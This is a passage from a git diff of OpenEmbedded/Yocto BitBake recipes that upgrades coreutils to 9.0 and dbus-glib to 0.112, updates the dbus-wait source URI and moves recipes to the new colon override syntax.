+index 228d0e368..b5b893fb7 100644
+--- a/tests/local.mk
++++ b/tests/local.mk
+@@ -456,6 +456,7 @@ all_tests = \
+ tests/chmod/c-option.sh \
+ tests/chmod/equal-x.sh \
+ tests/chmod/equals.sh \
++ tests/chmod/ignore-symlink.sh \
+ tests/chmod/inaccessible.sh \
+ tests/chmod/octal.sh \
+ tests/chmod/setgid.sh \
diff --git a/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch b/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
index 173a57925b..4f126ad67c 100644
--- a/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
+++ b/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
@@ -1,4 +1,4 @@
-From 7e20a7242ba2657f73311bbf5278093da67f0721 Mon Sep 17 00:00:00 2001
+From b04363018b4b9b45fdf23384f30d02caa5564602 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Tue, 16 Sep 2014 01:59:08 -0700
Subject: [PATCH] gnulib-comp.m4: selinux/flask.h should respect to
@@ -19,16 +19,17 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/m4/gnulib-comp.m4 b/m4/gnulib-comp.m4
-index dead90e..0abf0bd 100644
+index 3857233..c01fb30 100644
--- a/m4/gnulib-comp.m4
+++ b/m4/gnulib-comp.m4
-@@ -1860,10 +1860,10 @@ AC_DEFUN([gl_INIT],
+@@ -1953,11 +1953,11 @@ AC_DEFUN([gl_INIT],
AC_LIBOBJ([select])
fi
gl_SYS_SELECT_MODULE_INDICATOR([select])
- AC_CHECK_HEADERS([selinux/flask.h])
gl_HEADERS_SELINUX_SELINUX_H
gl_HEADERS_SELINUX_CONTEXT_H
+ gl_HEADERS_SELINUX_LABEL_H
if test "$with_selinux" != no && test "$ac_cv_header_selinux_selinux_h" = yes; then
+ AC_CHECK_HEADERS([selinux/flask.h])
AC_LIBOBJ([getfilecon])
diff --git a/meta/recipes-core/coreutils/coreutils_8.32.bb b/meta/recipes-core/coreutils/coreutils_8.32.bb
deleted file mode 100644
index 9d1eceef54..0000000000
--- a/meta/recipes-core/coreutils/coreutils_8.32.bb
+++ /dev/null
@@ -1,201 +0,0 @@
-SUMMARY = "The basic file, shell and text manipulation utilities"
-DESCRIPTION = "The GNU Core Utilities provide the basic file, shell and text \
-manipulation utilities. These are the core utilities which are expected to exist on \
-every system."
-HOMEPAGE = "http://www.gnu.org/software/coreutils/"
-BUGTRACKER = "http://debbugs.gnu.org/coreutils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
- file://src/ls.c;beginline=1;endline=15;md5=b7d80abf5b279320fb0e4b1007ed108b \
- "
-DEPENDS = "gmp libcap"
-DEPENDS_class-native = ""
-
-inherit autotools gettext texinfo
-
-SRC_URI = "${GNU_MIRROR}/coreutils/${BP}.tar.xz \
- file://remove-usr-local-lib-from-m4.patch \
- file://fix-selinux-flask.patch \
- file://0001-uname-report-processor-and-hardware-correctly.patch \
- file://disable-ls-output-quoting.patch \
- file://0001-local.mk-fix-cross-compiling-problem.patch \
- file://run-ptest \
- file://0001-ls-restore-8.31-behavior-on-removed-directories.patch \
- "
-
-SRC_URI[md5sum] = "022042695b7d5bcf1a93559a9735e668"
-SRC_URI[sha256sum] = "4458d8de7849df44ccab15e16b1548b285224dbba5f08fac070c1c0e0bcc4cfa"
-
-EXTRA_OECONF_class-native = "--without-gmp"
-EXTRA_OECONF_class-target = "--enable-install-program=arch,hostname --libexecdir=${libdir}"
-EXTRA_OECONF_class-nativesdk = "--enable-install-program=arch,hostname"
-
-# acl and xattr are not default features
-#
-PACKAGECONFIG_class-target ??= "\
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
-
-# The lib/oe/path.py requires xattr
-PACKAGECONFIG_class-native ??= "xattr"
-
-# with, without, depends, rdepends
-#
-PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
-PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PACKAGECONFIG[single-binary] = "--enable-single-binary,--disable-single-binary,,"
-
-# [ df mktemp nice printenv base64 gets a special treatment and is not included in this
-bindir_progs = "arch basename chcon cksum comm csplit cut dir dircolors dirname du \
- env expand expr factor fmt fold groups head hostid id install \
- join link logname md5sum mkfifo nl nohup nproc od paste pathchk \
- pinky pr printf ptx readlink realpath runcon seq sha1sum sha224sum sha256sum \
- sha384sum sha512sum shred shuf sort split sum tac tail tee test timeout \
- tr truncate tsort tty unexpand uniq unlink uptime users vdir wc who whoami yes"
-
-# hostname gets a special treatment and is not included in this
-base_bindir_progs = "cat chgrp chmod chown cp date dd echo false hostname kill ln ls mkdir \
- mknod mv pwd rm rmdir sleep stty sync touch true uname stat"
-
-sbindir_progs= "chroot"
-
-# Split stdbuf into its own package, so one can include
-# coreutils-stdbuf without getting the rest of coreutils, but make
-# coreutils itself pull in stdbuf, so IMAGE_INSTALL += "coreutils"
-# always provides all coreutils
-PACKAGE_BEFORE_PN_class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
-FILES_coreutils-stdbuf = "${bindir}/stdbuf ${libdir}/coreutils/libstdbuf.so"
-RDEPENDS_coreutils_class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
-
-# However, when the single-binary PACKAGECONFIG is used, stdbuf
-# functionality is built into the single coreutils binary, so there's
-# no point splitting /usr/bin/stdbuf to its own package. Instead, add
-# an RPROVIDE so that rdepending on coreutils-stdbuf will work
-# regardless of whether single-binary is in effect.
-RPROVIDES_coreutils += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', 'coreutils-stdbuf', '', d)}"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since coreutils has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-# Deal with a separate builddir failure if src doesn't exist when creating version.c/version.h
-do_compile_prepend () {
- mkdir -p ${B}/src
-}
-
-do_install_class-native() {
- autotools_do_install
- # remove groups to fix conflict with shadow-native
- rm -f ${D}${STAGING_BINDIR_NATIVE}/groups
- # The return is a must since native doesn't need the
- # do_install_append() in the below.
- return
-}
-
-do_install_append() {
- for i in df mktemp nice printenv base64; do mv ${D}${bindir}/$i ${D}${bindir}/$i.${BPN}; done
-
- install -d ${D}${base_bindir}
- [ "${base_bindir}" != "${bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i.${BPN}; done
-
- install -d ${D}${sbindir}
- [ "${sbindir}" != "${bindir}" ] && for i in ${sbindir_progs}; do mv ${D}${bindir}/$i ${D}${sbindir}/$i.${BPN}; done
-
- # [ requires special handling because [.coreutils will cause the sed stuff
- # in update-alternatives to fail, therefore use lbracket - the name used
- # for the actual source file.
- mv ${D}${bindir}/[ ${D}${bindir}/lbracket.${BPN}
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-# Make hostname's priority higher than busybox but lower than net-tools
-ALTERNATIVE_PRIORITY[hostname] = "90"
-ALTERNATIVE_${PN} = "lbracket ${bindir_progs} ${base_bindir_progs} ${sbindir_progs} base64 nice printenv mktemp df"
-ALTERNATIVE_${PN}-doc = "base64.1 nice.1 mktemp.1 df.1 groups.1 kill.1 uptime.1 stat.1 hostname.1"
-
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-
-ALTERNATIVE_LINK_NAME[base64] = "${base_bindir}/base64"
-ALTERNATIVE_TARGET[base64] = "${bindir}/base64.${BPN}"
-ALTERNATIVE_LINK_NAME[base64.1] = "${mandir}/man1/base64.1"
-
-ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
-ALTERNATIVE_TARGET[mktemp] = "${bindir}/mktemp.${BPN}"
-ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
-
-ALTERNATIVE_LINK_NAME[df] = "${base_bindir}/df"
-ALTERNATIVE_TARGET[df] = "${bindir}/df.${BPN}"
-ALTERNATIVE_LINK_NAME[df.1] = "${mandir}/man1/df.1"
-
-ALTERNATIVE_LINK_NAME[nice] = "${base_bindir}/nice"
-ALTERNATIVE_TARGET[nice] = "${bindir}/nice.${BPN}"
-ALTERNATIVE_LINK_NAME[nice.1] = "${mandir}/man1/nice.1"
-
-ALTERNATIVE_LINK_NAME[printenv] = "${base_bindir}/printenv"
-ALTERNATIVE_TARGET[printenv] = "${bindir}/printenv.${BPN}"
-
-ALTERNATIVE_LINK_NAME[lbracket] = "${bindir}/["
-ALTERNATIVE_TARGET[lbracket] = "${bindir}/lbracket.${BPN}"
-
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
-
-python __anonymous() {
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-
- for prog in d.getVar('sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('sbindir'), prog))
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit ptest
-
-RDEPENDS_${PN}-ptest += "bash findutils gawk liberror-perl make perl perl-modules python3-core sed shadow"
-
-# -dev automatic dependencies fails as we don't want libmodule-build-perl-dev, its too heavy
-# may need tweaking if DEPENDS changes
-RRECOMMENDS_coreutils-dev[nodeprrecs] = "1"
-RRECOMMENDS_coreutils-dev = "acl-dev attr-dev gmp-dev libcap-dev bash-dev findutils-dev gawk-dev shadow-dev"
-
-do_install_ptest () {
- install -d ${D}${PTEST_PATH}/tests
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests
- sed -i 's/ginstall/install/g' `grep -R ginstall ${D}${PTEST_PATH}/tests | awk -F: '{print $1}' | uniq`
- install -d ${D}${PTEST_PATH}/build-aux
- install ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
- cp ${B}/Makefile ${D}${PTEST_PATH}/
- cp ${S}/init.cfg ${D}${PTEST_PATH}/
- cp -r ${B}/src ${D}${PTEST_PATH}/
- cp -r ${S}/src/*.c ${D}${PTEST_PATH}/src
- sed -i '/^VPATH/s/= .*$/= ./g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^PROGRAMS/s/^/#/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^Makefile: /s/^.*$/Makefile:/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^abs_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^abs_top_builddir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^abs_top_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^built_programs/s/ginstall/install/g' ${D}${PTEST_PATH}/Makefile
- chmod -R 777 ${D}${PTEST_PATH}
-
- # Disable subcase stty-pairs.sh, it will cause test framework hang
- sed -i '/stty-pairs.sh/d' ${D}${PTEST_PATH}/Makefile
-
- # Disable subcase tail-2/assert.sh as it has issues on 32-bit systems
- sed -i '/assert.sh/d' ${D}${PTEST_PATH}/Makefile
-
- # Tweak test d_type-check to use python3 instead of python
- sed -i "1s@.*@#!/usr/bin/python3@" ${D}${PTEST_PATH}/tests/d_type-check
- install ${B}/src/getlimits ${D}/${bindir}
-
- # handle multilib
- sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
-}
-
-FILES_${PN}-ptest += "${bindir}/getlimits"
diff --git a/meta/recipes-core/coreutils/coreutils_9.0.bb b/meta/recipes-core/coreutils/coreutils_9.0.bb
new file mode 100644
index 0000000000..0800bc3b6d
--- /dev/null
+++ b/meta/recipes-core/coreutils/coreutils_9.0.bb
@@ -0,0 +1,209 @@
+SUMMARY = "The basic file, shell and text manipulation utilities"
+DESCRIPTION = "The GNU Core Utilities provide the basic file, shell and text \
+manipulation utilities. These are the core utilities which are expected to exist on \
+every system."
+HOMEPAGE = "http://www.gnu.org/software/coreutils/"
+BUGTRACKER = "http://debbugs.gnu.org/coreutils"
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://src/ls.c;beginline=1;endline=15;md5=3b8fbaee597c8a9bb88d30840d53048c \
+ "
+DEPENDS = "gmp libcap"
+DEPENDS:class-native = ""
+
+inherit autotools gettext texinfo
+
+SRC_URI = "${GNU_MIRROR}/coreutils/${BP}.tar.xz \
+ file://remove-usr-local-lib-from-m4.patch \
+ file://fix-selinux-flask.patch \
+ file://0001-uname-report-processor-and-hardware-correctly.patch \
+ file://0001-local.mk-fix-cross-compiling-problem.patch \
+ file://e8b56ebd536e82b15542a00c888109471936bfda.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "ce30acdf4a41bc5bb30dd955e9eaa75fa216b4e3deb08889ed32433c7b3b97ce"
+
+# http://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=v8.27-101-gf5d7c0842
+# runcon is not really a sandbox command, use `runcon ... setsid ...` to avoid this particular issue.
+CVE_CHECK_WHITELIST += "CVE-2016-2781"
+
+EXTRA_OECONF:class-target = "--enable-install-program=arch,hostname --libexecdir=${libdir}"
+EXTRA_OECONF:class-nativesdk = "--enable-install-program=arch,hostname"
+
+# acl and xattr are not default features
+#
+PACKAGECONFIG:class-target ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
+"
+
+# The lib/oe/path.py requires xattr
+PACKAGECONFIG:class-native ??= "xattr"
+
+# oe-core builds need xattr support
+PACKAGECONFIG:class-nativesdk ??= "xattr"
+
+# with, without, depends, rdepends
+#
+PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
+PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PACKAGECONFIG[single-binary] = "--enable-single-binary,--disable-single-binary,,"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+# [ df mktemp nice printenv base64 gets a special treatment and is not included in this
+bindir_progs = "arch basename chcon cksum comm csplit cut dir dircolors dirname du \
+ env expand expr factor fmt fold groups head hostid id install \
+ join link logname md5sum mkfifo nl nohup nproc od paste pathchk \
+ pinky pr printf ptx readlink realpath runcon seq sha1sum sha224sum sha256sum \
+ sha384sum sha512sum shred shuf sort split sum tac tail tee test timeout \
+ tr truncate tsort tty unexpand uniq unlink uptime users vdir wc who whoami yes"
+
+# hostname gets a special treatment and is not included in this
+base_bindir_progs = "cat chgrp chmod chown cp date dd echo false hostname kill ln ls mkdir \
+ mknod mv pwd rm rmdir sleep stty sync touch true uname stat"
+
+sbindir_progs= "chroot"
+
+# Split stdbuf into its own package, so one can include
+# coreutils-stdbuf without getting the rest of coreutils, but make
+# coreutils itself pull in stdbuf, so IMAGE_INSTALL += "coreutils"
+# always provides all coreutils
+PACKAGE_BEFORE_PN:class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
+FILES:coreutils-stdbuf = "${bindir}/stdbuf ${libdir}/coreutils/libstdbuf.so"
+RDEPENDS:coreutils:class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
+
+# However, when the single-binary PACKAGECONFIG is used, stdbuf
+# functionality is built into the single coreutils binary, so there's
+# no point splitting /usr/bin/stdbuf to its own package. Instead, add
+# an RPROVIDE so that rdepending on coreutils-stdbuf will work
+# regardless of whether single-binary is in effect.
+RPROVIDES:coreutils += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', 'coreutils-stdbuf', '', d)}"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since coreutils has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+# Deal with a separate builddir failure if src doesn't exist when creating version.c/version.h
+do_compile:prepend () {
+ mkdir -p ${B}/src
+}
+
+do_install:class-native() {
+ autotools_do_install
+ # remove groups to fix conflict with shadow-native
+ rm -f ${D}${STAGING_BINDIR_NATIVE}/groups
+ # The return is a must since native doesn't need the
+ # do_install:append() in the below.
+ return
+}
+
+do_install:append() {
+ for i in df mktemp nice printenv base64; do mv ${D}${bindir}/$i ${D}${bindir}/$i.${BPN}; done
+
+ install -d ${D}${base_bindir}
+ [ "${base_bindir}" != "${bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i.${BPN}; done
+
+ install -d ${D}${sbindir}
+ [ "${sbindir}" != "${bindir}" ] && for i in ${sbindir_progs}; do mv ${D}${bindir}/$i ${D}${sbindir}/$i.${BPN}; done
+
+ # [ requires special handling because [.coreutils will cause the sed stuff
+ # in update-alternatives to fail, therefore use lbracket - the name used
+ # for the actual source file.
+ mv ${D}${bindir}/[ ${D}${bindir}/lbracket.${BPN}
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+# Make hostname's priority higher than busybox but lower than net-tools
+ALTERNATIVE_PRIORITY[hostname] = "90"
+ALTERNATIVE:${PN} = "lbracket ${bindir_progs} ${base_bindir_progs} ${sbindir_progs} base32 base64 nice printenv mktemp df"
+ALTERNATIVE:${PN}-doc = "base64.1 nice.1 mktemp.1 df.1 groups.1 kill.1 uptime.1 stat.1 hostname.1"
+
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+
+ALTERNATIVE_LINK_NAME[base64] = "${base_bindir}/base64"
+ALTERNATIVE_TARGET[base64] = "${bindir}/base64.${BPN}"
+ALTERNATIVE_LINK_NAME[base64.1] = "${mandir}/man1/base64.1"
+
+ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
+ALTERNATIVE_TARGET[mktemp] = "${bindir}/mktemp.${BPN}"
+ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
+
+ALTERNATIVE_LINK_NAME[df] = "${base_bindir}/df"
+ALTERNATIVE_TARGET[df] = "${bindir}/df.${BPN}"
+ALTERNATIVE_LINK_NAME[df.1] = "${mandir}/man1/df.1"
+
+ALTERNATIVE_LINK_NAME[nice] = "${base_bindir}/nice"
+ALTERNATIVE_TARGET[nice] = "${bindir}/nice.${BPN}"
+ALTERNATIVE_LINK_NAME[nice.1] = "${mandir}/man1/nice.1"
+
+ALTERNATIVE_LINK_NAME[printenv] = "${base_bindir}/printenv"
+ALTERNATIVE_TARGET[printenv] = "${bindir}/printenv.${BPN}"
+
+ALTERNATIVE_LINK_NAME[lbracket] = "${bindir}/["
+ALTERNATIVE_TARGET[lbracket] = "${bindir}/lbracket.${BPN}"
+
+ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
+ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
+
+python __anonymous() {
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+
+ for prog in d.getVar('sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('sbindir'), prog))
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+RDEPENDS:${PN}-ptest += "bash findutils gawk liberror-perl make perl perl-modules python3-core sed shadow"
+
+# -dev automatic dependencies fails as we don't want libmodule-build-perl-dev, its too heavy
+# may need tweaking if DEPENDS changes
+RRECOMMENDS:coreutils-dev[nodeprrecs] = "1"
+RRECOMMENDS:coreutils-dev = "acl-dev attr-dev gmp-dev libcap-dev bash-dev findutils-dev gawk-dev shadow-dev"
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests
+ sed -i 's/ginstall/install/g' `grep -R ginstall ${D}${PTEST_PATH}/tests | awk -F: '{print $1}' | uniq`
+ install -d ${D}${PTEST_PATH}/build-aux
+ install ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ cp ${B}/Makefile ${D}${PTEST_PATH}/
+ cp ${S}/init.cfg ${D}${PTEST_PATH}/
+ cp -r ${B}/src ${D}${PTEST_PATH}/
+ cp -r ${S}/src/*.c ${D}${PTEST_PATH}/src
+ sed -i '/^VPATH/s/= .*$/= ./g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^PROGRAMS/s/^/#/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^Makefile: /s/^.*$/Makefile:/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_top_builddir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_top_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^built_programs/s/ginstall/install/g' ${D}${PTEST_PATH}/Makefile
+ chmod -R 777 ${D}${PTEST_PATH}
+
+ # Disable subcase stty-pairs.sh, it will cause test framework hang
+ sed -i '/stty-pairs.sh/d' ${D}${PTEST_PATH}/Makefile
+
+ # Disable subcase tail-2/assert.sh as it has issues on 32-bit systems
+ sed -i '/assert.sh/d' ${D}${PTEST_PATH}/Makefile
+
+ # Tweak test d_type-check to use python3 instead of python
+ sed -i "1s@.*@#!/usr/bin/python3@" ${D}${PTEST_PATH}/tests/d_type-check
+ install ${B}/src/getlimits ${D}/${bindir}
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+}
+
+FILES:${PN}-ptest += "${bindir}/getlimits"
+
+# These are specific to Opensuse
+CVE_WHITELIST += "CVE-2013-0221 CVE-2013-0222 CVE-2013-0223"
diff --git a/meta/recipes-core/dbus-wait/dbus-wait_git.bb b/meta/recipes-core/dbus-wait/dbus-wait_git.bb
index c24295b537..b39f7523c0 100644
--- a/meta/recipes-core/dbus-wait/dbus-wait_git.bb
+++ b/meta/recipes-core/dbus-wait/dbus-wait_git.bb
@@ -1,5 +1,6 @@
SUMMARY = "A simple tool to wait for a specific signal over DBus"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/dbus-wait"
+DESCRIPTION = "${SUMMARY}"
SECTION = "base"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
@@ -10,7 +11,7 @@ SRCREV = "6cc6077a36fe2648a5f993fe7c16c9632f946517"
PV = "0.1+git${SRCPV}"
PR = "r2"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/dbus/dbus-glib_0.110.bb b/meta/recipes-core/dbus/dbus-glib_0.110.bb
deleted file mode 100644
index 0b45805cf4..0000000000
--- a/meta/recipes-core/dbus/dbus-glib_0.110.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "High level language (GLib) binding for D-Bus"
-DESCRIPTION = "GLib bindings for the D-Bus message bus that integrate \
-the D-Bus library with the GLib thread abstraction and main loop."
-HOMEPAGE = "https://www.freedesktop.org/Software/dbus"
-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cf5b3a2f7083750d504333114e738656 \
- file://dbus/dbus-glib.h;beginline=7;endline=21;md5=7755c9d7abccd5dbd25a6a974538bb3c"
-SECTION = "base"
-
-DEPENDS = "expat glib-2.0 virtual/libintl dbus-glib-native dbus"
-DEPENDS_class-native = "glib-2.0-native dbus-native"
-
-SRC_URI = "https://dbus.freedesktop.org/releases/dbus-glib/dbus-glib-${PV}.tar.gz \
- file://no-examples.patch \
- file://test-install-makefile.patch \
-"
-SRC_URI[md5sum] = "d7cebf1d69445cbd28b4983392145192"
-SRC_URI[sha256sum] = "7ce4760cf66c69148f6bd6c92feaabb8812dee30846b24cd0f7395c436d7e825"
-
-inherit autotools pkgconfig gettext bash-completion gtk-doc
-
-#default disable regression tests, some unit test code in non testing code
-#PACKAGECONFIG_pn-${PN} = "tests" enable regression tests local.conf
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[tests] = "--enable-tests,,,"
-
-EXTRA_OECONF_class-target = "--with-dbus-binding-tool=${STAGING_BINDIR_NATIVE}/dbus-binding-tool"
-
-PACKAGES += "${PN}-tests"
-
-FILES_${PN} = "${libdir}/lib*${SOLIBS}"
-FILES_${PN}-bash-completion += "${libexecdir}/dbus-bash-completion-helper"
-FILES_${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-glib-tool"
-FILES_${PN}-dev += "${bindir}/dbus-binding-tool"
-
-RDEPENDS_${PN}-tests += "dbus-x11"
-FILES_${PN}-tests = "${datadir}/${BPN}/tests"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/dbus/dbus-glib_0.112.bb b/meta/recipes-core/dbus/dbus-glib_0.112.bb
new file mode 100644
index 0000000000..99b0a20004
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus-glib_0.112.bb
@@ -0,0 +1,39 @@
+SUMMARY = "High level language (GLib) binding for D-Bus"
+DESCRIPTION = "GLib bindings for the D-Bus message bus that integrate \
+the D-Bus library with the GLib thread abstraction and main loop."
+HOMEPAGE = "https://www.freedesktop.org/Software/dbus"
+LICENSE = "AFL-2.1 | GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c31c73c1d8f5d06784b2ccd22e42d641 \
+ file://dbus/dbus-glib.h;beginline=7;endline=21;md5=c374833bd817988323f3a8fda0dc7f48"
+SECTION = "base"
+
+DEPENDS = "expat glib-2.0 virtual/libintl dbus-glib-native dbus"
+DEPENDS:class-native = "glib-2.0-native dbus-native"
+
+SRC_URI = "https://dbus.freedesktop.org/releases/dbus-glib/dbus-glib-${PV}.tar.gz \
+ file://no-examples.patch \
+ file://test-install-makefile.patch \
+"
+SRC_URI[md5sum] = "021e6c8a288df02c227e4aafbf7e7527"
+SRC_URI[sha256sum] = "7d550dccdfcd286e33895501829ed971eeb65c614e73aadb4a08aeef719b143a"
+
+inherit autotools pkgconfig gettext bash-completion gtk-doc
+
+#default disable regression tests, some unit test code in non testing code
+#PACKAGECONFIG:pn-${PN} = "tests" enable regression tests local.conf
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[tests] = "--enable-tests,,,"
+
+EXTRA_OECONF:class-target = "--with-dbus-binding-tool=${STAGING_BINDIR_NATIVE}/dbus-binding-tool"
+
+PACKAGES += "${PN}-tests"
+
+FILES:${PN} = "${libdir}/lib*${SOLIBS}"
+FILES:${PN}-bash-completion += "${libexecdir}/dbus-bash-completion-helper"
+FILES:${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-glib-tool"
+FILES:${PN}-dev += "${bindir}/dbus-binding-tool"
+
+RDEPENDS:${PN}-tests += "dbus-x11"
+FILES:${PN}-tests = "${datadir}/${BPN}/tests"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/dbus/dbus-test_1.12.20.bb b/meta/recipes-core/dbus/dbus-test_1.12.20.bb
index 755c841bad..ae70301431 100644
--- a/meta/recipes-core/dbus/dbus-test_1.12.20.bb
+++ b/meta/recipes-core/dbus/dbus-test_1.12.20.bb
@@ -10,7 +10,7 @@ SRC_URI += "file://run-ptest \
DEPENDS = "dbus glib-2.0"
-RDEPENDS_${PN}-dev = ""
+RDEPENDS:${PN}-dev = ""
S="${WORKDIR}/dbus-${PV}"
FILESEXTRAPATHS =. "${FILE_DIRNAME}/dbus:"
@@ -58,7 +58,7 @@ do_install_ptest() {
sed -i -e 's;@PTEST_PATH@;${PTEST_PATH};g' ${D}${PTEST_PATH}/run-ptest
}
-RDEPENDS_${PN}-ptest += "bash make dbus"
-RDEPENDS_${PN}-ptest_remove = "${PN}"
+RDEPENDS:${PN}-ptest += "bash make dbus"
+RDEPENDS:${PN}-ptest:remove = "${PN}"
-PRIVATE_LIBS_${PN}-ptest = "libdbus-1.so.3"
+PRIVATE_LIBS:${PN}-ptest = "libdbus-1.so.3"
diff --git a/meta/recipes-core/dbus/dbus.inc b/meta/recipes-core/dbus/dbus.inc
index dcbcc0a9d6..adc138bf10 100644
--- a/meta/recipes-core/dbus/dbus.inc
+++ b/meta/recipes-core/dbus/dbus.inc
@@ -8,6 +8,7 @@ SRC_URI = "https://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
file://tmpdir.patch \
file://dbus-1.init \
file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
+ file://stop_using_selinux_set_mapping.patch \
"
SRC_URI[md5sum] = "dfe8a71f412e0b53be26ed4fbfdc91c4"
@@ -15,20 +16,20 @@ SRC_URI[sha256sum] = "f77620140ecb4cdc67f37fb444f8a6bea70b5b6461f12f1cbe2cec60fa
